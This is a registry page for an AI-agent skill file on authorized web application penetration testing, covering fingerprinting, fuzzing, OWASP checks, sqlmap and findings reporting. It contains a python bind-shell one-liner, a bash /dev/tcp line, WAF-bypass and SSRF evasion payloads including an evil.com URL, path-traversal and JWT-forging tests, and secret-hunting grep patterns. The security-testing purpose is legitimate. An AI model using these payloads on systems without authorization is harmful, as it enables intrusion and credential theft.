agentleFS
kekurttelkekurttel/pentest-skills/skills/web-app/SKILL.md

web-app

Skill4 starsChanged 3 months agoMITView on GitHub

Web application security testing: WAF/tech fingerprinting (wafw00f, whatweb), template scanning (nuclei first pass), directory/parameter fuzzing (ffuf), manual OWASP Top 10 flow with curl (IDOR, SQLi, XSS, SSRF, path traversal), SQLi verification (sqlmap after a manual sign). TRIGGER: user says "web pentest", "test the site", "SQLi", "fuzz directories", hands a URL asking for vulnerabilities, or recon output shows a web port (80/443/8080). DO NOT trigger for port scans (recon) or exploit development (exploitation).

  • Reads credentials

2 other projects use a version of this.

Adopted by

Most recently taken up by

  • Other versions2 projects use a version of this.

    Word for word · 0

    None found.

    Edited · 0

    None found.

    Wrote their own version · 2

    1. Strategic-Automation/violin★ 159same name
    2. angelgabrieljacintohuayllasco/clipboard-skills★ 0same name

    How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.

  • In this repository7 other files it gives its agents.

The file

Show its rules and text

We split this skill into the rules it gives an agent

18 rules. About 0 are common, 13 are distinctive, and 5 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈13

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 5

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    No written authorization for the URL.

    line 25
  2. Very specific:

    Follow RULES.md: no written authorization → do NOT scan.

    line 60
  3. Very specific:

    Check every tool you plan to use first: command -v <tool> || echo MISSING.

    line 65
  4. Distinctive:

    Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").

    line 68
  5. Distinctive:

    After wafw00f detection (or the header fallback):

    line 93
  6. Distinctive:

    No WAF → normal flow.

    line 94
  7. Distinctive:

    Before fuzzing, send 3 normal requests: 429 / Retry-After / captcha / connection reset → a rate limit EXISTS.

    line 132
  8. Very specific:

    Every confirmed source finding gets the source file:line in references.

    line 187
  9. Distinctive:

    No error sign in Step 3 → do not run sqlmap on that parameter.

    line 196
  10. Distinctive:

    Verify every suspicious response with 3 tests (all three outputs go to the evidence file):

    line 200
  11. Distinctive:

    Every finding: raw request + raw response saved.

    line 226
  12. Distinctive:

    If the impact is clear at discovery (e.g.

    line 251
  13. Distinctive:

    If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).

    line 252
  14. Very specific:

    After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

    line 256
  15. Very specific:

    Every finding follows schemas/findings.schema.json (draft-07).

    line 259
  16. Distinctive:

    No rate-limit plan before fuzzing → 429/ban on the first ffuf run.

    line 288
  17. Distinctive:

    Every nuclei match was curl-verified (raw request/response evidence exists).

    line 295
  18. Distinctive:

    Every finding has CWE/OWASP mapping and remediation.

    line 296

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Web-App — OWASP Top 10 Testing

Full methodology: references/methodology.md. Order is fixed: scope/WAF → nuclei → ffuf → manual curl flow → sqlmap (only on a sign) → evidence → normalize.

When to Use

  • User asks for a web app test, directory fuzzing, or a vulnerability check on a URL.
  • Recon showed a web port (80/443/8080/8000-8080) and a URL is confirmed live.
  • A template scan (nuclei), fuzz result, or manual curl proof needs to become a finding.

When NOT to Use

  • No written authorization for the URL. Stop at the scope gate.
  • Port/service scanning of the network — that is the recon skill's job.
  • Writing or delivering an exploit for a confirmed bug — that is the exploitation skill's job.
  • Reporting or CVSS scoring — that is the reporting skill's job.

Rationalizations to Reject

  • "nuclei found nothing, the site is secure." → Template scans are a filter, not a verdict; ffuf + the manual flow run regardless.
  • "sqlmap --level=5 --risk=3 on every parameter." → 10x slower and most parameters do not need it. Manual sign first, then --level=3 --risk=2.
  • "Report XSS without a browser confirmation." → Evidence-less finding = rejected report.
  • "This error message proves SQLi." → Canned/static error strings are decoys; run the Step 4.5 three-test check before claiming SQLi.
  • "No BurpSuite, no web pentest." → The curl-based flow covers the same scope on the CLI; Burp is a manual verification tool.
  • "Login brute force is fine, it's just a test." → Brute force needs written permission plus rate limits; otherwise it is a legal violation.

Methodology

Step 0 — Scope, WAF, and Technology

CASE=$(date +%Y%m%d)-<slug>          # e.g. 20260802-e01
mkdir -p work/$CASE/{evidence,scans,findings,report}
# MANDATORY output locations (fixed, do not change):
#   findings.json → work/$CASE/findings/findings.json
#   evidence files → work/$CASE/evidence/
#   scan outputs → work/$CASE/scans/
#   scope.md → work/$CASE/scope.md with:
#     target: <DOMAIN_OR_IP>
#     auth: status: granted | basis: <signed scope / bug bounty / own lab> | evidence_of_auth: <file>
#     date: YYYYMMDD
# When the run ends, also copy findings.json to the run root (benchmark archive).
wafw00f http://target -o work/$(date +%Y%m%d)-case/waf.txt
whatweb -v http://target | tee work/$(date +%Y%m%d)-case/whatweb.txt
searchsploit wordpress 6.0   # CMS detected → bridge to exploitation skill
  • Follow RULES.md: no written authorization → do NOT scan. Report: "No authorization, no action."
  • WAF present → plan rate + evasion before sqlmap/nuclei.

Step 0.5 — Tool Check and Fallbacks (MANDATORY)

  1. Check every tool you plan to use first: command -v <tool> || echo MISSING.
  2. Missing tool → use its fallback from the common table below. Fallback also missing → do the same job with python3 stdlib (socket, urllib, http.server).
  3. Note the fallback you used in findings/evidence (tool: <fallback>).
  4. Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").
ToolFallback
ncpython3 -c 'import pty,socket,os; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("0.0.0.0",PORT)); s.listen(1); c,_=s.accept(); os.dup2(c.fileno(),0); os.dup2(c.fileno(),1); os.dup2(c.fileno(),2); pty.spawn("/bin/bash")' (listener) or bash -c 'exec 3<>/dev/tcp/0.0.0.0/PORT'
nmappython3 socket connect-scan script (port list + banner)
masscannmap -p- -T4 (single target)
subfinder / dnsreconcrt.sh curl + dig
whatwebcurl -sI header analysis + httpx
ffufgobuster; else curl loop (small wordlist)
nucleimanual curl checklist (OWASP flow)
wafw00fcurl -sI + Server:/X-Powered-By/CF-Ray header analysis
sqlmapmanual python urllib payload script
hashcataircrack-ng (WPA); else python brute (small space)
hcxdumptoolairodump-ng handshake capture
crackmapexec / evil-winrm / secretsdumpimpacket python suite (GetUserSPNs.py, secretsdump.py, wmiexec.py)
chisel / ligolossh -D 1080 SOCKS5
pandocreport.md standalone deliverable (PDF optional)
sherlockmanual site-check list or python requests
whoisRDAP: curl -s https://rdap.org/domain/example.com

A missing tool NEVER stops the skill — warn, use the fallback, continue.

Step 0.6 — WAF Detection and Bypass Planning

After wafw00f detection (or the header fallback):

  1. No WAF → normal flow.
  2. WAF present → try the bypass sequence (each attempt is evidenced): a. URL encoding: double-encode (%2527), full URL-encode (curl --data-urlencode). b. Case variation: SeLeCt, UnIoN (most WAF regexes are case-sensitive; start simple, then complex). c. Comment insertion: /*!50000SELECT*/, UN/**/ION, SELECT/**/1. d. Unicode/normalization: %c0%af (overlong UTF-8), full-width characters (if the target normalizes). e. Chunked transfer / HTTP/1.1 pipelining (WAF does not parse the body). f. sqlmap tamper: sqlmap --tamper=between,randomcase,space2comment --level=3 --risk=2.
  3. Bypass attempts fail → lower the rate and add waits (429/ban management, Step 2.5).
  4. Rule: bypass payloads are saved to the evidence file RAW (not decoded).

Step 1 — Template Scan (nuclei, first pass, always)

nuclei -u http://target -severity low,medium,high,critical \
  -o work/$(date +%Y%m%d)-case/nuclei.txt -jsonl work/$(date +%Y%m%d)-case/nuclei.jsonl
nuclei -u http://target -tags wordpress -o work/$(date +%Y%m%d)-case/nuclei-wp.txt
  • -jsonl: agent-readable output; the normalize script parses it.
  • Expected output: nuclei.jsonl template matches with severity, name, matched-at.

Step 2 — Directory and Parameter Discovery (ffuf)

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target/FUZZ \
  -mc 200,204,301,302,307,401,403,405,500 -t 50 -s -o work/$(date +%Y%m%d)-case/ffuf-dirs.json
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://target/FUZZ \
  -mc 200 -t 50 -e .zip,.tar.gz,.sql,.env -o work/$(date +%Y%m%d)-case/ffuf-backup.json
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u 'http://target/page?FUZZ=test' -mc 200,500 -t 50 -o work/$(date +%Y%m%d)-case/ffuf-params.json
  • -mc: never run ffuf without a status filter — 404s would all look like findings.
  • .git, backup files, and .env leaks are critical findings — always include them in the wordlist runs.

Step 2.5 — Rate-Limit Awareness

  1. Before fuzzing, send 3 normal requests: 429 / Retry-After / captcha / connection reset → a rate limit EXISTS.
  2. Rate limit present → ffuf -rate 20 -t 5, hydra -t 4 -W 5, sqlmap --delay 2 --safe-freq 10.
  3. On 429: wait 60s + lower --rate; do not barrel through.
  4. WAF trigger: a bypass burst (Step 0.6) can flip a WAF into block mode — after any burst, send one benign request and check for 403/ban before continuing.
  5. Backoff strategy: 429 → sleep 60s → halve the rate → retry once; second block → stop that parameter and note "rate-limited, skipped" in findings (never barrel through).
  6. Login brute force: written permission + -t 10 max (existing rule) + rate-limit check MANDATORY.

Step 3 — Manual OWASP Flow (curl, per endpoint: auth → authorization → input validation)

curl -s -b "session=<USER_B>" http://target/api/users/1001 | head -20                    # IDOR (A01)
curl -s "http://target/product?id=1'" | grep -iE "sql|syntax|error|mysql|postgres"      # SQLi sign (A03)
curl -s "http://target/search?q=<script>alert(1)</script>" | grep -c "alert(1)"          # reflected XSS
curl -s --path-as-is "http://target/download?file=../../../../etc/passwd" | head -5       # path traversal
curl -s http://target/graphql -X POST -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}' | head -30                                    # API schema
  • Brute force (hydra -t 10 max) only with written permission + rate limit.

Step 3.5 — SSRF Deep Dive: External to Internal Chain

  1. SSRF candidate parameters: url, uri, fetch, callback, image, dest, redirect, next, path, file.
  2. External proof: set the parameter to http://<YOUR_IP>:9001/ → a connection on your listener = SSRF.
  3. Internal access attempts (in order, each evidenced): a. http://127.0.0.1:<port>/ and http://localhost:<port>/ b. IP variants: http://2130706433/, http://0x7f000001/, http://[::1]/ c. Hostname: http://internal.lab/ (if a DNS record exists) d. Redirect: feed a URL that returns 302 (e.g. your own /r endpoint) — if the target follows redirects it reaches internal e. URL parser differences: backslash (http://127.0.0.1\@evil.com), scheme case (HTTP://), double slash (//127.0.0.1)
  4. Filter detection: is localhost/private-IP on a blacklist? (which variant is blocked → which works)
  5. What is on the internal service: try /admin, /flag, /status, /debug; response differences = service map.
  6. Chain finding = two findings: SSRF (CWE-918) + internal service exposure (CWE-284).

Step 3.6 — Source Exposure and Session Testing

Source leaks (.git/.env/backup found during fuzzing):

  1. .git/ found → curl http://target/.git/HEAD (verify the ref) → pull objects with python: .git/objects/xx/yyyy... (index → blob list)
  2. .env / backup / *.sql found → download + sha256 + credential pattern scan (password|secret|api_key|token)
  3. sitemap.xml, robots.txt, source maps (.js.map) → endpoint + parameter hunt; extract sourcesContent from source maps
  4. Findings: CWE-200 (info disclosure) + CWE-798 (hardcoded credential) if applicable

Session/JWT tests:

  1. Cookie flags: curl -sI → Set-Cookie has HttpOnly; Secure; SameSite (missing → Low finding)
  2. JWT present: alg=none attempt; HS256 + weak-secret brute (rockyou top-1000); accept an expired exp token
  3. Session fixation: is the pre-login session ID the same after login?
  4. Password reset: is the token deterministic (HMAC(username, key)) — token-guessing test

Source audit (when source is obtained — leak or provided code, hard-task ha1 pattern):

  1. Grep catalog (every hit → evidence with file:line): grep -rniE "api_key|password|secret|token|BEGIN (RSA|EC|OPENSSH) PRIVATE KEY" . # secrets in source grep -rniE "TODO|FIXME|HACK|debug|backdoor|master key|admin bypass" . # debug backdoors grep -rnE "\b(eval|exec|system|shell_exec|passthru|os\.system|subprocess)\b" . # dangerous sinks
  2. Hardcoded creds → CWE-798; info disclosure → CWE-200 (both confirmed only if the credential/endpoint works — otherwise open, Unscored).
  3. Logic flaws: client-side-only checks (auth gate in JS), missing re-auth on sensitive actions, deterministic reset tokens (test with Step 3.6 #4).
  4. Every confirmed source finding gets the source file:line in references.

Step 4 — SQLi Verification (sqlmap, only after a manual sign)

sqlmap -u "http://target/product?id=1" --batch --level=3 --risk=2 --dbs \
  --output-dir=work/$(date +%Y%m%d)-case/sqlmap --flush-session
  • No error sign in Step 3 → do not run sqlmap on that parameter.

Step 4.5 — False Positive Discipline (decoy/honeypot recognition)

Verify every suspicious response with 3 tests (all three outputs go to the evidence file):

  1. Input-reflection test: a benign value (q=laptop) and a payload (q=') return the SAME output → static/canned response = decoy.
    curl -s "http://target/search?q=laptop" > work/$(date +%Y%m%d)-case/evidence/ev-1.txt
    curl -s "http://target/search?q=%27" > work/$(date +%Y%m%d)-case/evidence/ev-2.txt
    diff work/$(date +%Y%m%d)-case/evidence/ev-1.txt work/$(date +%Y%m%d)-case/evidence/ev-2.txt   # identical → decoy suspicion
  2. Latency-consistency test: is the delay ~constant across 3 requests? (no variation → no DB/backend interaction)
    for i in 1 2 3; do curl -s -o /dev/null -w "%{time_total}\n" "http://target/debug?q=$i"; done
  3. Conditional-behavior test: true/false payloads (AND 1=1 vs AND 1=2) return the same response → no oracle.
  4. Banner-only detection: an "error"/"SQL" string identical on every input (same literal value, e.g. '1') is a canned banner, not a SQL error — diff the responses, don't grep one.

Decision:

  • Static/canned message = false positive. Mark status: "false-positive" + severity Unscored (empty vector + 0.0) + the 3-test output as evidence. A decoy handled this way does NOT count as a finding error.
  • Unverifiable finding → does not enter the report (RULES.md §6).

Step 5 — Verify and Record Evidence

curl -sv "http://target/vuln-endpoint" -o work/$(date +%Y%m%d)-case/evidence/$(date +%s)-response.txt 2>&1
sha256sum work/$(date +%Y%m%d)-case/evidence/*-response.txt
  • Every finding: raw request + raw response saved; GUI-only proof (DOM XSS) marked as a manual step in the report.
  • GUI work Burp cannot be automated on the CLI → note it in the finding, do not fake it.

Step 6 — Normalize to Findings

python3 skills/web-app/scripts/normalize_web-app.py work/$(date +%Y%m%d)-case/nuclei.jsonl \
  --target http://target > work/$(date +%Y%m%d)-case/findings.json
  • Accepts nuclei JSONL or ffuf JSON; every template match / discovered path becomes a finding; CVE/CWE IDs become references.

Output Schema

CONTRACT (mandatory): findings.json is a BARE JSON ARRAY at the root — never wrap it in an object like {"findings": [...]}. Wrong: {"findings": [{...}]} → validator rejects (exit 1) Right: [{...}, {...}] → validator accepts Each finding is ONE finding object from schemas/findings.schema.json.

Severity rules:

  • "Unscored" → vector "" (EMPTY) + baseScore 0.0. Filled vector + Unscored = validator error.
  • Scored finding → vector "CVSS:4.0/..." + baseScore + severity band (Low/Medium/High/Critical).
  • Unscored when: asset inventory (open port, subdomain, banner), decoy/false-positive, impact not yet determined.

Scoring contract:

  1. If the impact is clear at discovery (e.g. verified SQLi → auth bypass): score immediately with CVSS 4.0 (vector + baseScore + severity).
  2. If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).
  3. The reporting skill scores the remaining Unscored findings at merge; already scored findings are left untouched (highest severity kept).
  4. Either way the validator rule holds: Unscored = empty vector + 0.0.

After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

Every finding follows schemas/findings.schema.json (draft-07). Key fields:

{
  "id": "WEB-001",
  "skill": "web-app",
  "target": "http://target",
  "title": "Template match: Apache Version Disclosure",
  "description": "nuclei template 'apache-version-disclosure' matched at http://target/ (severity info).",
  "severity": {"cvss40": {"vector": "", "baseScore": 0.0, "severity": "Unscored"}},
  "evidence": [{"file": "nuclei.jsonl", "hash": "<sha256>", "note": "template match in raw nuclei JSONL"}],
  "remediation": "Review the matched issue against the template reference and apply the vendor fix.",
  "references": ["CWE-200"],
  "detected_at": "2026-08-02T10:00:00+00:00",
  "status": "confirmed"
}
  • Findings stay Unscored unless the impact is verified at discovery (e.g. confirmed SQLi → auth bypass) — see the scoring contract above.

Pitfalls

  • sqlmap on every URL → hours of runtime, WAF alarm, IP ban. Manual sign first.
  • Skipping wafw00f → every scan comes back 403/blocked.
  • Leaving nuclei raw output as the result → false positives enter the report. Verify with curl, then normalize.
  • ffuf without -mc → every 404 looks like a finding.
  • Ignoring .git / backup / .env leaks → critical findings lost. Always include them in fuzzing.
  • Brute-forcing logins without permission → legal violation. Written permission + -t 10 max.
  • Skipping raw evidence → reporting skill rejects the finding. Request + response files are mandatory.
  • No rate-limit plan before fuzzing → 429/ban on the first ffuf run. Step 2.5 check first.
  • Treating a canned/static error string as SQLi → decoy lands in the report. Run the Step 4.5 three-test check first.

Verification

  • MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json → exit 0. Without exit 0 the task is NOT complete.
  • findings.json validates: python3 skills/reporting/scripts/validate_findings.py work/<case>/findings.json → exit 0.
  • Every nuclei match was curl-verified (raw request/response evidence exists).
  • Every finding has CWE/OWASP mapping and remediation.
  • Decoys/false positives are marked status: "false-positive" + Unscored + 3-test evidence (Step 4.5).
  • Output includes next steps for downstream skills (exploitation, reporting).

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.